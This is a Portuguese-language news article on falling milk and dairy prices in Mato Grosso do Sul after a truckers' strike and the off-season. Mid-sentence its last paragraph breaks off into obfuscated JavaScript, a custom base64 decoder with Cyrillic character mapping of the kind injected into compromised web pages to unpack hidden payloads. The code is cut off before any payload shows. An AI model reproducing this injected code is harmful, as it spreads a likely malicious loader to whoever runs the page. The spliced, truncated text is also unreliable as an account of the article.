Consumo em queda pressiona para baixo preço dos derivados de leite
[Via Campo Grande News]
O Silems (Sindicato das Indústrias de Laticínios de Mato Grosso do Sul) prevê queda no preço do leite e derivados no decorrer de agosto. Isso acontece porque o encarecimento causado pela entressafra e greve dos caminhoneiros fez despencar o consumo desses produtos.
Milene Nantes, presidente da entidade, afirma que o reajuste do leite de saquinho, por exemplo, ficou acima do previsto e chegou aos 25%. O litro que custava R$ 2,80 saltou para R$ 3,50. Já a muçarela teve alta de 40%, com a peça subindo de R$ 20 para R$ 28.
Em situações normais, os preços só começam a recuar com a chegada do período chuvoso, que renova as pastagens e isenta os produtores de gastarem com insumos para nutrir os animais. Enquanto isso, nos período de frio normalmente as pessoas consomem mais laticínios, mas este ano o inverno não foi tão rigoroso.
A produção de leite em Mato Grosso do Sul totalizou 74,5 milhões litros no período entre janeiro a abril, registrando uma queda de 19,8% em relação aos 92,9 milhões de litros de igual período de 2017.
Segundo a técnica do Sistema Famasul (Federação da Agricultura e Pecuária de Mato Grosso do Sul) Eliamar Oliveira, historicamente o leite não registra, em agosto, preço mais alto que os observados entre maio e julho.
Ela reconhece que apesar da escassez de chuvas estar perdurando por um function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa